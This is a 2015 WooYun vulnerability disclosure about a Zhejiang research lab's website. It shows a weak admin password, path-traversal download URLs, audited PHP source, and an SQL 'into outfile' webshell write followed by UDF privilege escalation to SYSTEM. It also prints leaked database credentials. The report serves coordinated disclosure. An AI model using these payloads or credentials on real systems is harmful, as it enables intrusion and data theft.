当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151992

漏洞标题:浙江省工程结构与防灾减灾技术研究重点实验室后台弱口令,任意文件下载,源代码分析,最终利用若干漏洞getshell

相关厂商:浙江省工程结构与防灾减灾技术研究重点实验室

漏洞作者: 我在不想理你

提交时间:2015-11-05 11:46

修复时间:2015-12-24 11:12

公开时间:2015-12-24 11:12

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-05: 细节已通知厂商并且等待厂商处理中
2015-11-09: 厂商已经确认,细节仅向厂商公开
2015-11-19: 细节向核心白帽子及相关领域专家公开
2015-11-29: 细节向普通白帽子公开
2015-12-09: 细节向实习白帽子公开
2015-12-24: 细节向公众公开

简要描述:

浙江省工程结构与防灾减灾技术研究重点实验室存在若干漏洞.附源代码审计

详细说明:

浙江省工程结构与防灾减灾技术研究重点实验室
http://**.**.**.**/
后台弱口令admin/admin
http://**.**.**.**/admincp.php?mod=login
登录后后台无法绕过上传php文件,看到了数据库备份,也无法备份512字节文件名绕过sql后缀,随便点,发现数据库下载的url为:
**.**.**.**/admincp.php?mod=down&path=data%2Fbakup%2F&file=bak_20151105112040.sql
经过尝试,存在任意文件下载,把代码下来
http://**.**.**.**/admincp.php?mod=down&path=data/bakup/&file=../../index.php
还有admincp.php登入页面也下载下来
http://**.**.**.**/admincp.php?mod=down&path=data/bakup/&file=../../admincp.php
源代码审计

13. $a = base::g('a'); // action
34. if ($a=='phpinfo') {
35. phpinfo();exit();
36. }


所以传入参数a=phpinfo可以查看信息
http://**.**.**.**/admincp.php?a=phpinfo
找到物理路径D:\wwwroot\

捕获.PNG


审计源代码,发现这个文件可以执行命令
http://**.**.**.**/admincp.php?mod=down&path=data/bakup/&file=../../admin/admin_database.php
存在命令执行

if (base::g('mode') == 'execute') {
base::issubmit();
$content = trim(stripslashes(base::p('content')));
if ($content == '') base::alert('您没有输入SQL语句,无法执行。');
$str=str_replace("\r","",str_replace('###_',DB_PREFIX,$content));
$sqlarr=explode(";\n",trim($str));
$conn = mysql_connect(DB_HOST.":".DB_PORT,DB_USER,DB_PASSWORD) or exit('Connection err!');
mysql_select_db(DB_NAME,$conn) or exit('Select database err!');
mysql_query("set names 'utf8'");
$count = count($sqlarr);
$err = 0;
$err_sql = '';
for ($i = 0; $i < $count; $i++) {
$sql = str_replace("\n",' ',$sqlarr[$i]);
if (!mysql_query($sql,$conn)) {
$err_status = mysql_errno($conn) . ", " . mysql_error($conn);
$err++;
$err_sql .= $sql."(Error: ".$err_status.")\\n----------------------------------------\\n";
}
}
if ($err>0) {
$err_sql = "但以下语句没有被执行,请检查:\\n----------------------------------------\\n ".$err_sql;
}
base::alert('SQL语句已经执行!'.$err_sql,'?mod=admin_database&action=execute');
}


只要对admin/admin_database.php?传入参数action=execute,而且POST包含sql查询语句content数据就可以执行

捕获.PNG


利用前面找到的物理路径,写入一句话
select 一句话into outfile "D:\\wwwroot\\back.php";
查看配置文件mysql
define('APP_SAFECODE','AdgnDBxKK9');
define('DB_HOST','localhost');
define('DB_PORT','3306');
define('DB_NAME','zjgcjg');
define('DB_USER','root');
define('DB_PASSWORD','zj2015');
define('DB_PREFIX','web_');
define('DB_ENGINE_NAME','mysqli');
define('WEB_DIR','/');
直接udf提权
拿到system 权限

漏洞证明:

附system权限图

捕获.PNG

修复方案:

弱口令,任意文件下载,命令执行补掉

版权声明:转载请注明来源 我在不想理你@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-11-09 11:11

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发对应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无